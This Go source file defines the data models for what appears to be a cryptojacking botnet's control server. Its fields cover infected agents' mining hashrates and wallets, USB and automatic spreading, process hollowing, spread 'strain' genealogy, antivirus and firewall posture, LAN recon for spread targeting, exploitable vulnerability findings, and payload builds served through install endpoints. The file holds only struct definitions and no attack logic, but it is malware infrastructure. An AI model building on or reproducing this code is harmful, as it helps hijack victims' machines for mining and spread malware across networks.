package models import ( "encoding/json" "time" ) type Agent struct { ID string `json:"id"` Name string `json:"name"` Wallet string `json:"wallet"` IP string `json:"ip"` Version string `json:"version"` Status string `json:"status"` // online, offline, error CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` LastSeen time.Time `json:"last_seen"` CreatedAt time.Time `json:"created_at"` // Runtime stats (updated via heartbeat) Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesTotal int `json:"shares_total"` SharesGood int `json:"shares_good"` SharesBad int `json:"shares_bad"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` Notes string `json:"notes"` Tags []string `json:"tags"` Platform string `json:"platform,omitempty"` Arch string `json:"arch,omitempty"` OSVersion string `json:"os_version,omitempty"` Hostname string `json:"hostname,omitempty"` MacAddress string `json:"mac_address,omitempty"` BuildID string `json:"build_id,omitempty"` WorkerName string `json:"worker_name,omitempty"` USBSpread bool `json:"usb_spread,omitempty"` Campaign string `json:"campaign,omitempty"` // Live connection quality — not persisted, set by WSHub each stats cycle. LatencyMs *int `json:"latency_ms,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"` // Listen ports count (full list via listen_ports command) ListenPortCount *int `json:"listen_port_count,omitempty"` // DNS config — T1016 System Network Configuration Discovery DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` DNSDrifted bool `json:"dns_drifted,omitempty"` // Resource pressure — mining-specific runtime telemetry CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` CPUThrottle *bool `json:"cpu_throttle,omitempty"` CPUTempC *int `json:"cpu_temp_c,omitempty"` DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` DiskFreePct *int `json:"disk_free_pct,omitempty"` GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` // Mining fallback cascade ActiveMethod string `json:"active_method,omitempty"` MiningLastError string `json:"last_error,omitempty"` StratumOverlay bool `json:"stratum_overlay,omitempty"` ChainExhausted bool `json:"chain_exhausted,omitempty"` ChainOrder []string `json:"chain_order,omitempty"` FailedMethods []struct { Method string `json:"method"` Reason string `json:"reason"` At string `json:"at"` } `json:"failed_methods,omitempty"` // LOTL tier onion telemetry LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []struct { Tier string `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` } `json:"lotl_attempts,omitempty"` MiningHashrate float64 `json:"mining_hashrate,omitempty"` // GPU / Ravencoin mining GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` GPUModel string `json:"gpu_model,omitempty"` // Crucible — SSH status probed by the agent every ~60s SSHAvailable *bool `json:"ssh_available,omitempty"` // Passive LAN/domain recon for spread targeting (stats WS, not persisted). NetworkHints json.RawMessage `json:"network_hints,omitempty"` // Defense posture + patch exposure — ATT&CK T1685/T1686.003 PostureScore int `json:"posture_score,omitempty"` DefenderEnabled *bool `json:"defender_enabled,omitempty"` DefenderRTP *bool `json:"defender_rtp,omitempty"` AVProducts []string `json:"av_products,omitempty"` FirewallDomain *bool `json:"firewall_domain,omitempty"` FirewallPrivate *bool `json:"firewall_private,omitempty"` FirewallPublic *bool `json:"firewall_public,omitempty"` LastPatchDays *int `json:"last_patch_days,omitempty"` LastPatch *string `json:"last_patch,omitempty"` PendingUpdates *int `json:"pending_updates,omitempty"` RebootPending *bool `json:"reboot_pending,omitempty"` AgentElevated *bool `json:"agent_elevated,omitempty"` // T1007 System Service Discovery — fixed allowlist only Services []AgentService `json:"services,omitempty"` // Last successful discover_and_join supply-chain lane. JoinLane string `json:"join_lane,omitempty"` CloudVpcID string `json:"cloud_vpc_id,omitempty"` CloudSubnetID string `json:"cloud_subnet_id,omitempty"` CloudRegion string `json:"cloud_region,omitempty"` VPCPrimarySeeder *bool `json:"vpc_primary_seeder,omitempty"` // Spread genealogy watermark — informational telemetry from forge/auth/stats. ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` // Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only). GraftSourceStrain string `json:"graft_source_strain,omitempty"` GraftTier string `json:"graft_tier,omitempty"` GraftApprovedAt *time.Time `json:"graft_approved_at,omitempty"` // Session security clearance (L0–L4); set live by WSHub, not persisted. ClearanceLevel int `json:"clearance_level,omitempty"` // Fleet role split telemetry (stats WS, not persisted). FleetRole string `json:"fleet_role,omitempty"` SeedPressure float64 `json:"seed_pressure,omitempty"` HashratePressure float64 `json:"hashrate_pressure,omitempty"` EmberwakeHeat float64 `json:"emberwake_heat,omitempty"` // Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only). InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"` // Authorized fleet vulnerability recon (read-only LOTL probe tier) VulnFindings []VulnFinding `json:"vuln_findings,omitempty"` VulnRiskScore *int `json:"vuln_risk_score,omitempty"` } // AgentInheritedPhenotype is the dashboard view of a cloned winning path. type AgentInheritedPhenotype struct { SourceAgentName string `json:"source_agent_name"` Fingerprint string `json:"fingerprint,omitempty"` SpreadLane string `json:"spread_lane,omitempty"` TierOrder []string `json:"tier_order,omitempty"` ActiveTier string `json:"active_tier,omitempty"` PeakHashrate float64 `json:"peak_hashrate,omitempty"` } // VulnFinding mirrors agent vuln_findings stats payload. type VulnFinding struct { CVEID string `json:"cve_id"` Severity string `json:"severity"` Component string `json:"component"` Patched bool `json:"patched"` ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` Detail string `json:"detail,omitempty"` } // AgentService mirrors the ServiceStatus reported by the agent. type AgentService struct { Name string `json:"name"` DisplayName string `json:"display_name,omitempty"` Status string `json:"status"` StartType string `json:"start_type"` } // AgentCapabilities reports forge-time features available for remote command. type AgentCapabilities struct { HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` AIEnabled bool `json:"ai_enabled"` USBSpread bool `json:"usb_spread"` } type Share struct { ID int64 `json:"id"` AgentID string `json:"agent_id"` JobID string `json:"job_id"` Difficulty int64 `json:"difficulty"` Accepted bool `json:"accepted"` Hash string `json:"hash"` Nonce string `json:"nonce"` Error string `json:"error,omitempty"` Timestamp time.Time `json:"timestamp"` } type HashrateSample struct { ID int64 `json:"id"` AgentID string `json:"agent_id"` Hashrate float64 `json:"hashrate"` GPUHashrate float64 `json:"gpu_hashrate,omitempty"` Timestamp time.Time `json:"timestamp"` } type Job struct { ID string `json:"id"` Height int64 `json:"height"` Difficulty int64 `json:"difficulty"` BlockTemplate string `json:"block_template"` SeedHash string `json:"seed_hash"` Target string `json:"target"` CreatedAt time.Time `json:"created_at"` } type BuildExtraFile struct { FileName string `json:"file_name"` FilePath string `json:"file_path,omitempty"` } type BuildRecord struct { ID string `json:"id"` WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` Wallet string `json:"wallet"` Threads int `json:"threads"` FileSize int64 `json:"file_size"` BundleSize int64 `json:"bundle_size"` FilePath string `json:"file_path"` FileName string `json:"file_name"` // base filename for display DownloadURL string `json:"download_url"` // relative URL; client prepends server origin ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"` Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" CreatedAt time.Time `json:"created_at"` Pinned bool `json:"pinned"` // true = this build is served by /get and /install.* Public bool `json:"public"` // true = listed on unauthenticated public builds API // Pool settings PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` }